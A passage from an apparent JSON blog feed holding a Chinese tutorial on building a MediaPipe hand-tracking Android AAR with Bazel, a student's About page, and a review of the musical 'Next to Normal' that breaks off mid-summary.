shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install g++ unzip zip\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装adb:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt-get install android-tools-adb\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装OpenCV:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt-get install libopencv-core-dev libopencv-highgui-dev \\\u003cbr\u003elibopencv-calib3d-dev libopencv-features2d-dev \\\u003cbr\u003elibopencv-imgproc-dev libopencv-video-dev\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2-安装Bazel\"\u003e\u003ca href=\"#2-安装Bazel\" class=\"headerlink\" title=\"(2)安装Bazel\"\u003e\u003c/a\u003e(2)安装Bazel\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://github.com/bazelbuild/bazel\"\u003eBazel\u003c/a\u003e是一款强大的编译工具。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e对于Bazel的安装一般有两种方法:\u003cbr\u003e\u003cstrong\u003e注意:建议下载版本为5.2.0的bazel,在mediapipe的build里指定required version为5.2.0了。\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e使用curl下载安装脚本文件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecurl -sLO --retry 5 --retry-max-time 10 \\\u003cbr\u003ehttps://storage.googleapis.com/bazel/5.2.0/release/bazel-5.2.0-installer-linux-x86_64.sh \u0026amp;\u0026amp; \\\u003cbr\u003esudo mkdir -p /usr/local/bazel/5.2.0 \u0026amp;\u0026amp; \\\u003cbr\u003echmod 755 bazel-5.2.0-installer-linux-x86_64.sh \u0026amp;\u0026amp; \\\u003cbr\u003esudo ./bazel-5.2.0-installer-linux-x86_64.sh --prefix=/usr/local/bazel/5.2.0 \u0026amp;\u0026amp; \\\u003cbr\u003esource /usr/local/bazel/5.2.0/lib/bazel/bin/bazel-complete.bash\u003cbr\u003e\u003cbr\u003e/usr/local/bazel/5.2.0/lib/bazel/bin/bazel version \u0026amp;\u0026amp; \\\u003cbr\u003ealias bazel=\u0026#x27;/usr/local/bazel/5.2.0/lib/bazel/bin/bazel\u0026#x27;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e直接下载安装脚本文件并执行\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e(1)下载\u003ca href=\"https://github.com/bazelbuild/bazel/releases/download/5.2.0/bazel-5.2.0-installer-linux-x86_64.sh\"\u003ebazel-5.2.0-installer-linux-x86_64.sh\u003c/a\u003e\u003cbr\u003e(2)设置sh权限\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo chmod +x bazel-5.2.0-installer-linux-x86_64.sh\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)执行sh文件\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e./bazel-version-installer-linux-x86_64.sh --user\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意: \u003cstrong\u003e不建议使用sudo执行,否则会安装到\u0026#x2F;root\u0026#x2F;bin下,影响之后的运行\u003c/strong\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e\u003cstrong\u003eapt命令下载\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install apt-transport-https curl gnupg\u003cbr\u003ecurl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor \u0026gt;bazel-archive-keyring.gpg\u003cbr\u003esudo mv bazel-archive-keyring.gpg /usr/share/keyrings\u003cbr\u003eecho \u0026quot;deb [arch=amd64 signed-by=/usr/share/keyrings/bazel-archive-keyring.gpg] https://storage.googleapis.com/bazel-apt stable jdk1.8\u0026quot; | sudo tee /etc/apt/sources.list.d/bazel.list\u003cbr\u003esudo apt update \u0026amp;\u0026amp; sudo apt install bazel\u003cbr\u003esudo apt update \u0026amp;\u0026amp; sudo apt full-upgrade\u003cbr\u003esudo apt install bazel-5.2.0\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"编译前准备\"\u003e\u003ca href=\"#编译前准备\" class=\"headerlink\" title=\"编译前准备\"\u003e\u003c/a\u003e\u003cstrong\u003e编译前准备\u003c/strong\u003e\u003c/h2\u003e\u003cp\u003e(1)配置bazel到PATH环境变量\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport PATH=\u0026quot;$PATH:bazel的安装路径/bin\u0026quot;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)克隆mediapipe源码并进入该目录\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003egit clone https://github.com/google/mediapipe.git\u003cbr\u003ecd mediapipe\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)测试编译环境\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport GLOG_logtostderr=1\u003cbr\u003e\u003cbr\u003ebazel run --define MEDIAPIPE_DISABLE_GPU=1 \\\u003cbr\u003emediapipe/examples/desktop/hello_world:hello_world\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意: \u003cstrong\u003e编译时间可能稍长\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如果配置成功,则会有类似如下的打印:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eI20200707 09:21:50.275205 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276554 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276665 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276768 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276887 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.277523 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.278563 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.279263 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.279850 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.280354 16138 hello_world.cc:56] Hello World!\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)下载安卓编译所需的SDK和NDK\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003echmod +x ./setup_android_sdk_and_ndk.sh\u003cbr\u003ebash ./setup_android_sdk_and_ndk.sh ~/Android/Sdk ~/Android/Ndk r18b\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e建议使用r18b减少其他意外出现\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e建议顺便设置下环境变量:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport ANDROID_HOME=\u0026quot;~/Android/Sdk\u0026quot;\u003cbr\u003eexport ANDROID_NDK_HOME=\u0026quot;~/Android/Ndk/android-ndk-r21b\u0026quot;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"编译所需aar包-测试hand-tracking\"\u003e\u003ca href=\"#编译所需aar包-测试hand-tracking\" class=\"headerlink\" title=\"编译所需aar包(测试hand_tracking)\"\u003e\u003c/a\u003e编译所需aar包(测试hand_tracking)\u003c/h2\u003e\u003cp\u003e(1)配置bazel build文件\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecd mediapipe/examples/android/src/java/com/google/mediapipe/apps/\u003cbr\u003emkdir buid_aar \u0026amp;\u0026amp; cd buid_aar\u003cbr\u003evim BUILD\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e编译文件BUILD中内容如下,name是生成后aar的名字,calculators为使用的模型和计算单元,其他的模型和支持计算单元可以查看 mediapipe\u0026#x2F;graphs\u0026#x2F;目录下的内容,在这个目录都是Mediapipe支持的模型。其中目录 hand_tracking就是使用到的模型,支持的计算单元需要查看该目录下的BUILD文件中的 cc_library,这里我们是要部署到Android端的,所以选择Mobile的计算单元。本教程我们使用mobile_calculators,这个只检测一个手的关键点,如何想要检查多个收修改成这个计算单元multi_hand_mobile_calculators。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之后输入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs build\"\u003eload(\u0026quot;//mediapipe/java/com/google/mediapipe:mediapipe_aar.bzl\u0026quot;, \u0026quot;mediapipe_aar\u0026quot;)\u003cbr\u003e\u003cbr\u003emediapipe_aar(\u003cbr\u003e name = \u0026quot;mediapipe_hand_tracking\u0026quot;,\u003cbr\u003e calculators = [\u0026quot;//mediapipe/graphs/hand_tracking:mobile_calculators\u0026quot;],\u003cbr\u003e)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)开始编译aar\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003echmod -R 755 mediapipe/\u003cbr\u003e\u003cbr\u003ebazel build -c opt --fat_apk_cpu=arm64-v8a,armeabi-v7a \\\u003cbr\u003e//mediapipe/examples/android/src/java/com/google/mediapipe/apps/buid_aar:mediapipe_hand_tracking\u003cbr\u003ebazel build -c opt mediapipe/graphs/hand_tracking:hand_tracking_mobile_gpu_binary_graph\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在漫长的等待后,就找到文件 bazel-bin\u0026#x2F;mediapipe\u0026#x2F;examples\u0026#x2F;android\u0026#x2F;src\u0026#x2F;java\u0026#x2F;com\u0026#x2F;google\u0026#x2F;mediapipe\u0026#x2F;apps\u0026#x2F;buid_aar\u0026#x2F;mediapipe_hand_tracking.aar。\u003c/p\u003e","url":"https://xiue233.github.io/2022/10/01/compile_mediapipe/"}]},{"name":"@indevn","email":"indevn@outlook.com","uri":"https://indevn.com/","description":"Recent content on @indevn","article":[{"title":"About","time":"2024-07-10T07:10:45Z","content":"\u003ch3 id=\"关于我\"\u003e关于我\u003c/h3\u003e\n\u003cp\u003e平凡的学生,目前刚刚研一。刚刚大四毕业的学生,本科毕业于西安电子科技大学,硕士即将就读于西安交通大学。\u003c/p\u003e\n\u003cp\u003e对「视觉表现」相关的技术感兴趣,本科阶段一直在关注图形渲染的相关技术,尤其是复杂材质的表面建模。最近也在尝试使用\u003ca href=\"https://typst.app/\"\u003eTypst\u003c/a\u003e进行文章排版。\u003c/p\u003e\n\u003cp\u003e希望可以完成一些比较酷的工作,创造价值,成为一个supportable的人。\u003c/p\u003e\n\u003ch3 id=\"关于本站\"\u003e关于本站\u003c/h3\u003e\n\u003cp\u003e我会在这里分享一些自己看过的论文、学到的东西,同时也会分享自己的生活。\u003c/p\u003e\n\u003cp\u003e博客基于Hugo进行构建,在\u003ca href=\"https://github.com/g-hanwen/hugo-theme-nostyleplease\"\u003enostyleplease\u003c/a\u003e的基础上进行修改。\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"联系我\"\u003e联系我\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eEmail\u003c/strong\u003e: \u003ca href=\"mailto:indevn@outlook.com\"\u003eindevn@outlook.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGithub\u003c/strong\u003e: \u003ca href=\"https://github.com/indevn\"\u003e@indevn\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eQQ\u003c/strong\u003e: 2022920028\u003c/p\u003e\u003chr /\u003e","url":"https://indevn.com/about/"},{"title":"近乎正常就可以了 #音乐剧","time":"2024-06-08T10:11:52Z","content":"\u003cp\u003e最近看了一部对我触动很大的音乐剧《近乎正常》。\u003c/p\u003e\n\u003cp\u003e这是2010年的普利策戏剧奖作品,我早就听过这部剧的唱段,如今终于看了中文版和英文版的官方录像。当我真正看完后,才真正理解了故事的深意。每次观看都有不同的体会。\u003c/p\u003e\n\u003cp\u003e这部剧讲述了一位患有双相情感障碍的母亲戴安娜、她的丈夫丹和女儿娜塔莉之间的故事。这个家庭的每个人都在深深的痛苦中挣扎,却要假装正常。戴安娜坚持在生活中扮演“正常”的角色,但内心渴望回到那些未被药物压制的情感。娜塔莉无法与母亲正常相处,总想逃离这个“不正常”的家庭。丹在十六年中一直对戴安娜不离不弃,但也承受着巨大的压力。\u003c/p\u003e\n\u003cp\u003e这部剧中最令我感动的是丹的坚守与失落。\u003c/p\u003e\n\u003cp\u003e丹一直坚守在戴安娜身边,希望家庭早日恢复正常。这十六年来,他压抑着自己的情绪,为家庭付出,饱受痛苦,“So steadfast and stolid and stoic and solid”。当戴安娜质问他为何还在身边时,丹重申了自己少时的承诺:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWhatever may come well come through 要共度一切的艰险\u003c/p\u003e\n\u003cp\u003eAnd who can know how when all I know now 未来太难猜,但不会有多少改变\u003c/p\u003e\n\u003cp\u003eTo be true is this promise that I make to you 我的承诺会一生不变\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e丹也无数次想过离开,但在深爱和恐惧之间,他选择了留下,坚守这个一生不变的承诺。在他心中,永远爱着那个耀眼的少女,也永远做着那个少年,停滞不前。\u003c/p\u003e\n\u003cp\u003e故事中还有另一条线,娜塔莉与男友亨利的感情,与父母的故事相呼应。在女儿和母亲、父亲和男友的二重唱中,中年和青年的双线设计,让我仿佛看到了丹和戴安娜年轻时的样子。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"./assets/640.webp\" alt=\"图片\"\u003e\u003c/p\u003e\n\u003cp\u003e无论看多少遍,我都被丹的承诺深深打动。父亲坚定地相信,如果两个人彼此相爱,愿意坚守,就能克服所有困难。\u003c/p\u003e\n\u003cp\u003e然而在故事结尾,我看到了丹在坚持中的偏执。面对妻子的离开,他唱出了疑惑:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI am the one who loved you 爱过你的人是我\u003c/p\u003e\n\u003cp\u003eI am the one who stayed 留下来的是我\u003c/p\u003e\n\u003cp\u003eI am the one and you walked away 全都是我,你却离开我\u003c/p\u003e\n\u003cp\u003eI am the one who waited 守候你的人是我\u003c/p\u003e\n\u003cp\u003eAnd now you act like you just don\u0026rsquo;t give a damn 可是你却不在乎我的伤悲\u003c/p\u003e\n\u003cp\u003eLike you never knew who I am 仿佛你不懂我是谁\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg src=\"./assets/640-1720591713973-3.png\" alt=\"图片\"\u003e\u003c/p\u003e\n\u003cp\u003e丹和戴安娜都有同样的痛苦,但丹无法体会妻子作为精神病患者的痛苦。他的坚持出于责任,却让他疲惫不堪。他的一切努力似乎无法解决问题。\u003c/p\u003e\n\u003cp\u003e即使在故事最后,问题也未解决,但大家终于明白了“something next to normal would be okay”,不再强求假装正常。戴安娜选择换一种生活方式,寻找更适合自己的生活。娜塔莉仍无法与母亲和解,但努力面对生活和爱情。丹放下心中的偏执,说出“We love anyway”。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"./assets/640-1720591729977-6.png\" alt=\"图片\"\u003e\u003c/p\u003e\n\u003cp\u003e虽然没有完美结局,但大家选择了相信,只要继续生活就会有希望,\u0026ldquo;maybe we\u0026rsquo;re tough and we\u0026rsquo;ll try anyway\u0026rdquo;。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAnd when they night has fin\u0026rsquo;ly gone 当长夜终于到尽头\u003c/p\u003e\n\u003cp\u003eAnd when we see the new day dawn 当黎明绽放在窗口\u003c/p\u003e\n\u003cp\u003eWe\u0026rsquo;ll wonder how we wandered for 你会笑话自己\u003c/p\u003e\n\u003cp\u003eSo long so blind 茫然彷徨那么久\u003c/p\u003e\n\u003cp\u003eThe wasted world we thought we knew 以前那熟悉的绝望\u003c/p\u003e\n\u003cp\u003eThe light will make it look brand new 有光就变得不一样\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e附:Wikipedia中的剧情概述\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAct I 第一幕\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDiana Goodman, a suburban mother with bipolar disorder, stays up late awaiting the return of her son Gabe, who has broken curfew. Also awake is Diana\u0026rsquo;s daughter Natalie, an overachieving high school student who is stressfully studying for an upcoming test. Diana encourages her daughter to take a break and rest. Soon after, Gabe returns home, and Diana\u0026rsquo;s husband, Dan, awakes to help the family prepare for the day (\u0026ldquo;Just Another Day\u0026rdquo;). Diana prepares a meal for her family, but Dan and Natalie stop her when they realize the sandwiches she is making cover every kitchen surface. As Dan helps the disoriented Diana, Natalie and Gabe leave for school.\u003c/p\u003e\n\u003cp\u003e黛安娜·古德曼是一位患有躁郁症的郊区母亲,她熬夜等待儿子加布的归来,加布破了宵禁。黛安娜的女儿娜塔莉也醒着,她是一个努力学习备考的高中生,压力很大。黛安娜鼓励女儿休息一下。不久,加布回家了,黛安娜的丈夫丹醒来帮助家人准备新的一天(“又是一个平常的日子”)。黛安娜为家人准备了一顿饭,但当丹和娜塔莉意识到她正在做的三明治覆盖了每个厨房表面时,他们制止了她。丹帮助迷茫的黛安娜,娜塔莉和加布离开去上学。\u003c/p\u003e\n\u003cp\u003eNatalie releases some pent-up anger and frustration as she practices for an upcoming piano recital in the school\u0026rsquo;s music room (\u0026ldquo;Everything Else\u0026rdquo;), where she meets Henry, a classmate who has been admiring Natalie from afar. Meanwhile, Diana repeatedly visits her psychiatrist\u0026rsquo;s office, where she is prescribed a variety of medications that all prove to cause debilitating physical side effects; Dan waits through her appointments in the car while he questions his own sanity (\u0026ldquo;Who\u0026rsquo;s Crazy?/ My Psychopharmacologist and I\u0026rdquo;). When Diana is given a medication that numbs and rids her of all feelings, the doctor pronounces her stable and sends her on her way.\u003c/p\u003e\n\u003cp\u003e娜塔莉在学校音乐室为即将到来的钢琴独奏会练习时释放了一些积压的愤怒和挫折(“其他一切”),在那里她遇到了一直远远地仰慕她的同学亨利。与此同时,黛安娜反复去看心理医生,在那里她被开了各种药物,结果都导致了令人难以忍受的身体副作用;丹在车里等待她的约会,同时质疑自己的理智(“谁疯了?/我的精神药物医生和我”)。当黛安娜服用一种让她麻木并摆脱所有感情的药物时,医生宣布她稳定了,并让她离开。\u003c/p\u003e\n\u003cp\u003eAfter witnessing a romantic moment between Natalie and Henry (\u0026ldquo;Perfect For You\u0026rdquo;), Diana mourns the loss of her old life, longing for the days she lived in both pain and joy, as opposed to the numbness her new medication has caused (\u0026ldquo;I Miss the Mountains\u0026rdquo;). At Gabe\u0026rsquo;s suggestion, she flushes her medications.\u003c/p\u003e\n\u003cp\u003e在目睹娜塔莉和亨利之间的浪漫时刻(“Perfect For You”)后,黛安娜为自己旧生活的失去而悲伤,渴望过去既痛苦又快乐的日子,而不是新药物带来的麻木感(“I Miss the Mountains”)。在加布的建议下,她冲掉了自己的药物。\u003c/p\u003e\n\u003cp\u003eMeanwhile, Dan arranges a family dinner, inviting Henry to join them (\u0026ldquo;It\u0026rsquo;s Gonna Be Good\u0026rdquo;). When Diana brings to the table a cake for Gabe\u0026rsquo;s birthday, Dan gently reminds her that Gabe, in fact, died nearly sixteen years ago, and her visions of him throughout the show have only been hallucinations (\u0026ldquo;He\u0026rsquo;s Not Here\u0026rdquo;). After an upset Natalie runs to her bedroom, Dan clears off the dinner table while Diana reveals she has stopped her medication. As he tries to empathize with her, she becomes angry, saying he could not possibly understand the pain she is going through (\u0026ldquo;You Don\u0026rsquo;t Know\u0026rdquo;). Dan begs her to let him help however he can, reminding her of his faithfulness and patience thus far, but is interrupted by a vision of Gabe, whom only Diana can see. Diana immediately clings to her son, rejecting Dan\u0026rsquo;s offer of comfort (\u0026ldquo;I Am the One\u0026rdquo;). Upstairs, Natalie vents to Henry over her mother\u0026rsquo;s attachment to the dead Gabe. Diana overhears their conversation and offers the only comfort she is capable of giving, telling Natalie, \u0026ldquo;I love you as much as I can\u0026rdquo; (\u0026ldquo;Superboy and the Invisible 